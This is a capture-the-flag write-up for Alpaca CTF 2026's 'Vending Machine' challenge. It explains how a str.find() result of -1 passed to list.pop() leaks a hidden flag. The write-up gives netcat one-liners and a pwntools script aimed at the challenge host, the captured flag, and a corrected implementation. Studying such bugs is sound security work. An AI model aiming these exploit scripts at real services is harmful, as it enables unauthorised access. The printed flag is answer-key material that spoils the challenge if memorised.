Alpaca CTF 2026: Vending Machine
Challenge Information
| Attribute | Details |
|---|---|
| Event | Alpaca CTF 2026 |
| Category | Misc |
| Challenge | Vending Machine |
| Remote | nc 34.170.146.252 30573 |
Summary
A Python vending machine service tracks its inventory as a single concatenated string. When an item is purchased, the code calls str.find() to locate the first occurrence and then removes it via list.pop(). The fatal flaw: when an item is sold out, find() returns -1, and list.pop(-1) silently pops the last element of the list rather than raising an error. That last element is the flag character appended at the end of the stock string. Depleting the cheapest item and requesting one more triggers the leak.
Source Analysis
Stock Initialisation
class VendingMachine: def __init__(self): # inventory packed as a single string; 'f' (flag char) appended at the very end self.stock = 'a'*30 + 'b'*60 + 'c'*20 + 'd'*50 + 'e'*40 + 'f' self.item_names = { 'a': 'Apple Juice', 'b': 'Banana Smoothie', 'c': 'Cola', 'd': 'Dr. Alpaca', 'e': 'Energy Drink', 'f': 'Flag', # never meant to be purchasable }Initial stock levels:
| Key | Product | Stock |
|---|---|---|
a | Apple Juice | 30 |
b | Banana Smoothie | 60 |
c | Cola | 20 |
d | Dr. Alpaca | 50 |
e | Energy Drink | 40 |
f | Flag | 1 ← hidden |
The Vulnerable Purchase Handler
def buy(self, mark): loc = self.stock.find(mark) # returns -1 when sold out stock_list = list(self.stock) item = stock_list.pop(loc) # pop(-1) silently pops the LAST element! self.stock = ''.join(stock_list)
name = self.item_names.get(item, 'Unknown') if item == 'f': print(f"You bought {name}.") print(f"Flag: {open('flag.txt').read()}") else: print(f"You bought {name}. Enjoy!")The Bug
The logic assumes find() will return a valid non-negative index. But Python’s str.find() returns -1 when the substring is not found — and Python’s list.pop(-1) treats -1 as “last element”, not as an error. So the sequence when stock is empty for letter c:
loc = self.stock.find('c') # → -1 (sold out)item = stock_list.pop(-1) # → 'f' (the very last character!)name = item_names['f'] # → 'Flag'# condition item == 'f' is True → flag is printedNo exception is ever raised. Python’s negative indexing convention, which is a useful feature everywhere else, silently converts a “not found” sentinel into a valid “last item” access.
Exploit
Choosing the Cheapest Path
We need to exhaust the stock of exactly one item so that the next purchase of that item triggers find() == -1. The item with the fewest units is c (Cola) with only 20 in stock. Buying it 21 times exhausts the 20 real units on the 1st–20th request; the 21st request hits the bug.
One-liner (bash)
(for i in $(seq 1 21); do echo c; done; echo x) | nc 34.170.146.252 30573Or with yes:
(yes c | head -n 21; echo x) | nc 34.170.146.252 30573Python Script
from pwn import *
io = remote("34.170.146.252", 30573)
# drain Cola stock (20 units)for _ in range(20): io.sendlineafter(b"> ", b"c")
# 21st purchase: find('c') == -1 → pop(-1) → flagio.sendlineafter(b"> ", b"c")
io.interactive()Session Trace
> cYou bought Cola. Enjoy![... × 19 more ...]> cYou bought Flag.Flag: Alpaca{s0ld_0u7_m34ns_p0p_m1nus_0n3}> xFlag
Alpaca{s0ld_0u7_m34ns_p0p_m1nus_0n3}Root Cause & Fix
What Went Wrong
Two independently reasonable behaviours combined into a vulnerability:
str.find()returns-1as a sentinel for “not found” (documented, expected).list.pop(-1)is valid Python for “pop the last element” (documented, expected).
Neither is a bug on its own. The bug is using the output of one as the input of the other without a guard.
Correct Implementation
def buy(self, mark): loc = self.stock.find(mark) if loc == -1: # explicit sold-out check print("Sorry, that item is sold out.") return
stock_list = list(self.stock) item = stock_list.pop(loc) self.stock = ''.join(stock_list) print(f"You bought {self.item_names[item]}. Enjoy!")Alternatively, str.index() raises ValueError instead of returning -1, making the failure mode explicit:
try: loc = self.stock.index(mark)except ValueError: print("Sold out!") returnKey Takeaways
find()vsindex():str.find()returns-1on miss;str.index()raisesValueError. For control-flow paths that must handle missing items,index()is the safer default because it fails loudly.- Python negative indexing is not an error:
-1is a perfectly valid list index meaning “last element”. Code that threads afind()result directly intopop()is silently correct for in-stock items and silently wrong for out-of-stock items. - Sentinel values need explicit guards: Anytime a function signals failure through a special return value (like
-1,None,"") rather than an exception, every call site must check for that sentinel before using the result. - Cheapest path matters: In a “drain N items” exploit, always target the smallest stock count — here
cwith 20 units, costing only 21 requests instead of buying 31+ of another item.
Tools Used
- bash / netcat: Manual one-liner exploitation
- pwntools: Scripted interaction for repeatability
References
- Python
list.popdocs: https://docs.python.org/3/tutorial/datastructures.html - Python
str.findvsstr.index: https://docs.python.org/3/library/stdtypes.html#str.find - CWE-129 — Improper Validation of Array Index: https://cwe.mitre.org/data/definitions/129.html